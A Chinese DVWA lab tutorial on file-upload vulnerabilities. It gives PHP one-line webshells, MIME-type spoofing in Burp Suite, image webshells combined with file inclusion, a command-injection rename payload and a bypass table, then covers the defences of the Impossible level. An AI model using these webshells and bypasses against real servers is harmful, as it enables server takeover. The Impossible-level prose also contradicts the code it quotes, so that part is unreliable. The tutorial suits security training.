摘要本文是《DVWA从入门到精通》系列的第六篇带你全面掌握File Upload文件上传模块的攻防全流程。从文件上传漏洞的核心原理出发逐步讲解Low、Medium、High三个级别的攻击手法与源码分析并深入探讨Impossible级别的终极防御方案。文章包含一句话木马的制作、MIME类型欺骗、图片马合成、文件包含组合攻击、二次渲染绕过等高阶技术以及白名单校验、文件重命名、内容二次渲染等企业级防御策略让你真正做到“知其然更知其所以然”。一、什么是文件上传漏洞1.1 文件上传漏洞的核心原理文件上传漏洞File Upload Vulnerability是指Web应用程序在处理用户上传文件时没有对上传文件的类型、内容、大小等进行严格的过滤和检查导致攻击者可以上传恶意脚本文件WebShell从而获取服务器的控制权限。用一个生活化的例子来理解想象一个小区门卫室门口挂着牌子说“请出示业主卡进入”。正常情况下只有持有业主卡的人才能进入。但如果这个门卫有个漏洞——他只看你手里拿的是不是一张卡根本不检查卡上写了什么。攻击者随便拿一张白纸片画个卡的样子门卫就放行了然后这个“假业主”进入小区后可以为所欲为。文件上传漏洞就是如此网站说“只允许上传图片”但服务器只看了文件表面比如文件后缀或MIME类型没有真正检查文件内容。攻击者把一个PHP木马文件伪装成图片的样子上传服务器就乖乖地把它存到了网站上然后攻击者访问这个文件木马就被执行了。从技术角度来看文件上传漏洞的产生通常是由于以下原因可上传木马文件——上传功能没有限制可执行文件的上传文件能被执行——上传目录具有执行权限Web服务器能解析PHP等脚本文件知道上传文件路径——上传后的文件路径可被访问或推测当这三个条件同时满足时攻击者就可以通过上传WebShell获得服务器的控制权。1.2 文件上传漏洞的危害文件上传漏洞的危害等级通常被认为是严重甚至毁灭性的危害说明获取WebShell上传恶意脚本文件获得服务器的Web权限服务器控制通过WebShell执行系统命令完全控制服务器数据泄露读取数据库配置文件、敏感业务数据内网渗透以服务器为跳板攻击内网其他系统网站篡改修改网站页面植入恶意链接或钓鱼代码文件系统过载上传大量垃圾文件耗尽服务器磁盘空间1.3 文件上传漏洞的三个必要条件一个完整的文件上传漏洞利用需要同时满足三个条件条件说明攻击者的控制能力可上传目标网站存在文件上传功能且允许上传文件可控可执行上传的文件能够被Web服务器解析和执行取决于服务器配置可知路径攻击者能够知道或推测出上传文件在服务器上的存放路径取决于信息泄露程度二、准备工作2.1 靶场环境确保DVWA已部署并正常运行访问地址http://你的服务器IP/dvwa/login.php使用admin/password登录2.2 必备工具工具用途Burp Suite抓包分析、修改请求参数MIME类型欺骗等蚁剑AntSword连接WebShell管理服务器文件冰蝎Behinder连接WebShell的另一种选择文本编辑器编写一句话木马代码2.3 基础知识储备理解PHP的基本语法了解MIME类型Content-Type的概念了解文件头/文件签名Magic Number的概念三、Low级别毫无防护的“裸奔”状态3.1 安全级别设置将DVWA Security设置为Low级别然后进入File Upload模块。3.2 界面观察File Upload模块的界面非常简洁——一个文件选择框和一个“Upload”按钮。页面上方提示“Choose an image to upload.”选择一张图片上传。3.3 源码分析点击页面顶部的“View Source”按钮查看Low级别的核心代码?php if( isset( $_POST[ Upload ] ) ) { // Where are we going to be writing to? $target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/; $target_path . basename( $_FILES[ uploaded ][ name ] ); // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ uploaded ][ tmp_name ], $target_path ) ) { // No echo preYour image was not uploaded./pre; } else { // Yes! echo pre{$target_path} succesfully uploaded!/pre; } } ?这段代码存在致命的文件上传漏洞缺陷说明无任何过滤没有检查文件类型、大小、后缀、内容无任何限制任何文件都可以上传直接使用原始文件名不重命名保留了用户上传的文件名路径可预测上传路径固定为hackable/uploads/3.4 攻击方法直接上传一句话木马第一步制作一句话木马使用文本编辑器创建一个名为shell.php的文件内容如下?php eval($_POST[cmd]); ?或者更简单的一句话木马?php system($_GET[cmd]); ?第二步上传木马文件在DVWA的File Upload页面选择shell.php文件点击上传。页面显示上传成功并返回文件路径第三步访问木马文件在浏览器中访问上传的木马文件?php system($_GET[cmd]); ?http://靶机IP/dvwa/hackable/uploads/shell.php?cmdwhoami如果页面显示当前Web服务器的运行用户如www或apache说明木马已成功执行第四步使用蚁剑连接木马文件内容?php eval($_POST[cmd]); ?打开蚁剑AntSword添加一个新的Shell连接URLhttp://靶机IP/dvwa/hackable/uploads/shell.php密码cmd对应一句话木马中的POST参数名连接成功后即可浏览服务器上的所有文件、执行系统命令。3.5 Low级别总结缺陷说明无任何过滤所有文件均可上传无类型检查不检查文件后缀、MIME类型、文件头无大小限制可上传任意大小的文件直接使用原始文件名文件名可被攻击者控制四、Medium级别MIME类型检查的“第一道防线”4.1 安全级别设置将DVWA Security切换为Medium级别。4.2 观察变化在Medium级别下尝试直接上传shell.php页面会提示Your image was not uploaded. We can only accept JPEG or PNG images.系统提示只接受JPEG或PNG格式的图片。4.3 源码分析查看Medium级别的核心代码?php if( isset( $_POST[ Upload ] ) ) { // Where are we going to be writing to? $target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/; $target_path . basename( $_FILES[ uploaded ][ name ] ); // File information $uploaded_name $_FILES[ uploaded ][ name ]; $uploaded_type $_FILES[ uploaded ][ type ]; $uploaded_size $_FILES[ uploaded ][ size ]; // Is it an image? if( ( $uploaded_type image/jpeg || $uploaded_type image/png ) ( $uploaded_size 100000 ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ uploaded ][ tmp_name ], $target_path ) ) { // No echo preYour image was not uploaded./pre; } else { // Yes! echo pre{$target_path} succesfully uploaded!/pre; } } else { // Invalid file echo preYour image was not uploaded. We can only accept JPEG or PNG images./pre; } } ?Medium级别的变化增加了MIME类型检查检查Content-Type是否为image/jpeg或image/png增加了文件大小限制文件必须小于100,000字节约100KB4.4 MIME类型检查的局限性MIME类型Content-Type是HTTP请求头中的一个字段由浏览器在发送请求时生成。它完全由客户端控制可以被任意修改。攻击者只需要用Burp Suite拦截上传请求将Content-Type修改为image/jpeg或image/png就能轻松绕过。4.5 攻击方法MIME类型欺骗第一步准备一句话木马创建shell.php文件内容同上。第二步开启Burp Suite代理配置浏览器代理为Burp Suite的监听地址127.0.0.1:8080确保能拦截到上传请求。第三步抓取上传请求在DVWA的File Upload页面选择shell.php点击上传。Burp Suite会拦截到请求。第四步修改Content-Type在拦截到的请求中找到Content-Type字段将其修改为image/jpeg第五步放行请求点击Burp Suite的“Forward”按钮放行请求。服务器收到请求后检查Content-Type为image/jpeg通过验证文件成功上传。4.6 更多绕过技巧除了MIME类型欺骗Medium级别还有其他绕过方式绕过方法说明MIME类型欺骗修改Content-Type为image/jpeg或image/png双扩展名使用shell.php.jpg或shell.jpg.php大小写绕过使用.PhP代替.php如果服务器不区分大小写%00截断使用空字节截断文件名4.7 Medium级别总结改进局限性MIME类型检查image/jpeg、image/png客户端可控可被Burp Suite轻松修改文件大小限制100KB仅限制了大小不影响攻击有一定防护效果防护强度有限容易被绕过五、High级别更严格的“多重检查”5.1 安全级别设置将DVWA Security切换为High级别。5.2 观察变化在High级别下尝试使用Medium级别的方法修改MIME类型上传shell.php发现被阻止了。5.3 源码分析查看High级别的核心代码?php if( isset( $_POST[ Upload ] ) ) { // Where are we going to be writing to? $target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/; $target_path . basename( $_FILES[ uploaded ][ name ] ); // File information $uploaded_name $_FILES[ uploaded ][ name ]; $uploaded_ext substr( $uploaded_name, strrpos( $uploaded_name, . ) 1); $uploaded_size $_FILES[ uploaded ][ size ]; $uploaded_tmp $_FILES[ uploaded ][ tmp_name ]; // Is it an image? if( ( strtolower( $uploaded_ext ) jpg || strtolower( $uploaded_ext ) jpeg || strtolower( $uploaded_ext ) png ) ( $uploaded_size 100000 ) getimagesize( $uploaded_tmp ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { // No echo preYour image was not uploaded./pre; } else { // Yes! echo pre{$target_path} succesfully uploaded!/pre; } } else { // Invalid file echo preYour image was not uploaded. We can only accept JPEG or PNG images./pre; } } ?High级别的变化增加了文件扩展名白名单只允许jpg、jpeg、png后缀增加了文件头检查使用getimagesize()函数验证文件是否为真正的图片文件大小限制仍限制小于100KB多重验证扩展名 文件头 文件大小5.4 攻击方法图片马 文件包含组合攻击High级别的防御比Medium更严格但并非无懈可击。核心思路制作一个图片马图片文件中隐藏PHP代码上传图片马通过文件头检查利用文件包含漏洞File Inclusion模块执行图片马中的PHP代码第一步制作图片马方法一使用copy命令Windows将一张正常的图片和一句话木马合并成一个文件copy /b normal.jpg shell.php webshell.jpg参数说明/b强制二进制模式合并normal.jpg正常的图片文件shell.php一句话木马文件webshell.jpg合并后的图片马方法二使用cat命令Linuxcat normal.jpg shell.php webshell.jpg方法三使用文本编辑器手动添加用文本编辑器打开一张图片在文件末尾添加PHP代码?php eval($_POST[cmd]); ?第二步上传图片马在DVWA的File Upload页面选择webshell.jpg点击上传。由于文件扩展名为.jpg且getimagesize()函数能正常读取图片头信息文件成功上传。第三步利用文件包含漏洞执行图片马进入DVWA的File Inclusion模块上一篇已详细介绍通过文件包含漏洞包含上传的图片马。构造URLhttp://靶机IP/dvwa/vulnerabilities/fi/?pagefile:///xp/www/dvwa/hackable/uploads/webshell.jpg图片马中的PHP代码被执行攻击者通过蚁剑获得WebShell。5.5 攻击方法利用命令注入修改文件后缀如果目标服务器存在命令注入漏洞如DVWA的Command Injection模块攻击者可以通过命令注入将图片马重命名为.php文件。在Command Injection模块中输入127.0.0.1 | mv ../../hackable/uploads/webshell.jpg ../../hackable/uploads/webshell.php图片马被重命名为.php文件可以直接通过浏览器访问执行。5.6 High级别总结防御机制作用绕过方法文件扩展名白名单只允许jpg/jpeg/png使用图片马.jpg文件中包含PHP代码getimagesize()检查验证文件是否为真实图片图片马通过检查文件头是图片文件大小限制限制100KB不影响攻击多重验证增加攻击难度配合文件包含或命令注入漏洞六、Impossible级别终极防御方案6.1 安全级别设置将DVWA Security切换为Impossible级别。6.2 源码分析查看Impossible级别的核心代码?php if( isset( $_POST[ Upload ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ user_token ], $_SESSION[ session_token ], index.php ); // File information $uploaded_name $_FILES[ uploaded ][ name ]; $uploaded_ext substr( $uploaded_name, strrpos( $uploaded_name, . ) 1); $uploaded_size $_FILES[ uploaded ][ size ]; $uploaded_type $_FILES[ uploaded ][ type ]; $uploaded_tmp $_FILES[ uploaded ][ tmp_name ]; // Where are we going to be writing to? $target_path DVWA_WEB_PAGE_TO_ROOT . hackable/uploads/; //$target_file basename( $uploaded_name, . . $uploaded_ext ) . -; // Generate a single random name $random_name bin2hex( random_bytes(16) ) . . . $uploaded_ext; $target_file $random_name; $temp_file ( ( ini_get( upload_tmp_dir ) ) ? ( sys_get_temp_dir() ) : ( ini_get( upload_tmp_dir ) ) ); $temp_file . DIRECTORY_SEPARATOR . $random_name; // Is it an image? if( ( strtolower( $uploaded_ext ) jpg || strtolower( $uploaded_ext ) jpeg || strtolower( $uploaded_ext ) png ) ( $uploaded_size 100000 ) ( $uploaded_type image/jpeg || $uploaded_type image/png ) getimagesize( $uploaded_tmp ) ) { // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) if( $uploaded_type image/jpeg ) { $img imagecreatefromjpeg( $uploaded_tmp ); imagejpeg( $img, $temp_file, 100); } else { $img imagecreatefrompng( $uploaded_tmp ); imagepng( $img, $temp_file, 9); } imagedestroy( $img ); // Can we move the file to the web root from the temp folder? if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { // Yes! echo prea href{$target_path}{$target_file}{$target_file}/a succesfully uploaded!/pre; } else { // No echo preYour image was not uploaded./pre; } // Delete any temp files if( file_exists( $temp_file ) ) unlink( $temp_file ); } else { // Invalid file echo preYour image was not uploaded. We can only accept JPEG or PNG images./pre; } } // Generate Anti-CSRF token generateSessionToken(); ?6.3 Impossible级别的六重防御体系Impossible级别构建了六重防御体系第一层CSRF Token验证使用checkToken()函数验证请求中的user_token是否与会话中的session_token一致防止跨站请求伪造攻击。第二层文件扩展名白名单只允许jpg、jpeg、png三种扩展名。第三层文件大小限制文件必须小于100,000字节约100KB。第四层getimagesize()文件头检查使用getimagesize()函数验证文件是否为真正的图片。第五层文件重命名核心防御使用md5( uniqid() . $uploaded_name )生成一个唯一的随机文件名。$target_file md5( uniqid() . $uploaded_name ) . . . $uploaded_ext;攻击者无法预测上传后的文件名因此无法直接访问和执行上传的文件。第六层二次渲染终极防御调用upload_image()函数对上传的图片进行二次渲染——重新生成一张新的图片。二次渲染的过程是读取上传图片的像素数据忽略文件中所有非图片数据的部分包括攻击者注入的PHP代码生成一张全新的、干净的图片攻击者注入的PHP代码在二次渲染过程中被彻底删除图片马完全失效。6.4 为什么Impossible级别无法被绕过要成功利用文件上传漏洞攻击者需要满足以下条件条件Impossible级别的防护攻击者能否达成上传恶意文件扩展名白名单 getimagesize()检查❌ 只能上传真正的图片执行恶意代码二次渲染删除所有非图片数据❌ PHP代码被彻底删除访问上传的文件文件名使用MD5哈希重命名❌ 无法预测文件名CSRF攻击Token验证❌ 无法伪造有效Token六重防护叠加使得文件上传攻击在Impossible级别下完全不可行。6.5 Impossible级别总结防御层技术手段作用第一层CSRF Token验证防止跨站请求伪造第二层文件扩展名白名单只允许图片格式第三层文件大小限制防止DOS攻击第四层getimagesize()检查验证文件为真实图片第五层MD5哈希重命名文件名不可预测第六层二次渲染彻底删除恶意代码七、文件上传漏洞的防御最佳实践通过DVWA四个级别的对比我们可以总结出防御文件上传漏洞的最佳实践7.1 必须实施的防御措施措施说明优先级白名单校验只允许特定的文件扩展名如jpg、png、gif⭐⭐⭐⭐⭐文件内容校验使用getimagesize()等函数验证文件内容⭐⭐⭐⭐⭐文件重命名使用随机/哈希值重命名上传的文件⭐⭐⭐⭐⭐二次渲染对图片类文件进行重新生成⭐⭐⭐⭐⭐上传目录禁止执行设置上传目录无执行权限⭐⭐⭐⭐⭐7.2 推荐的辅助措施措施说明优先级文件大小限制限制上传文件的最大尺寸⭐⭐⭐⭐MIME类型校验检查Content-Type但不能作为唯一手段⭐⭐⭐文件头校验检查文件的Magic Number⭐⭐⭐CSRF Token防止跨站请求伪造⭐⭐⭐杀毒扫描对上传文件进行病毒扫描⭐⭐7.3 常见误区在实际开发中以下做法不能有效防御文件上传漏洞❌仅使用前端JavaScript验证攻击者可以禁用JS或直接发请求绕过❌仅使用MIME类型检查客户端可控可被Burp Suite修改❌仅使用黑名单总有遗漏的扩展名如php5、phtml等❌仅检查文件扩展名可通过双扩展名、大小写等方式绕过❌保留原始文件名文件名可被攻击者利用路径遍历、XSS等八、文件上传漏洞的实战检测思路在实际的渗透测试中如何快速发现文件上传漏洞8.1 检测步骤寻找上传点头像上传、文件附件、文档管理等尝试上传测试文件先上传一个无害的PHP文件如?php phpinfo(); ?观察服务器响应是否允许上传错误提示透露了什么信息返回的文件路径是什么分析防护机制前端JS验证还是后端验证检查了哪些内容扩展名、MIME、文件头使用了白名单还是黑名单尝试绕过根据防护机制选择合适的绕过方法验证漏洞访问上传的文件确认是否能执行8.2 常见绕过手法汇总防护类型绕过方法前端JS验证禁用JS、直接发POST请求MIME类型检查Burp Suite修改Content-Type扩展名黑名单使用php5、phtml、php3等替代扩展名扩展名白名单双扩展名shell.jpg.php、大小写.pHp文件头检查图片马在图片中嵌入PHP代码内容检测二次渲染绕过需特殊技巧文件名过滤空字节截断%00、空格、点九、总结本文围绕文件上传漏洞展开完整学习我们掌握其核心成因Web 应用未对上传文件做完善校验攻击者借此上传恶意脚本接管服务器并明确漏洞触发需满足可上传、文件可执行、文件访问路径已知三大前提我们逐级完成 DVWA 各安全等级实操Low 级别无任何过滤可直接上传一句话木马并用蚁剑连接拿到 WebShellMedium 级别仅校验请求头 MIME 图片类型借助 Burp Suite 修改请求头即可绕过High 级别搭配后缀白名单与 getimagesize () 文件头校验可制作图片马结合文件包含漏洞完成绕过Impossible 级别融合 Token 校验、后缀白名单、文件大小限制、图片头检测、MD5 随机重命名、图片二次渲染六层防护彻底封堵上传攻击同时梳理出后缀白名单、文件随机重命名、图片二次渲染、上传目录关闭脚本执行权限等防御手段。文件上传漏洞属于高危 Web 漏洞被利用后攻击者能够完全控制服务器借助 DVWA 文件上传模块我们同步掌握各类上传绕过攻击手段与分层防护思路在真实业务场景中落实后缀白名单校验、文件随机重命名、图片二次渲染、上传目录禁止执行脚本的多重防护方案能够从根源杜绝文件上传安全风险。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。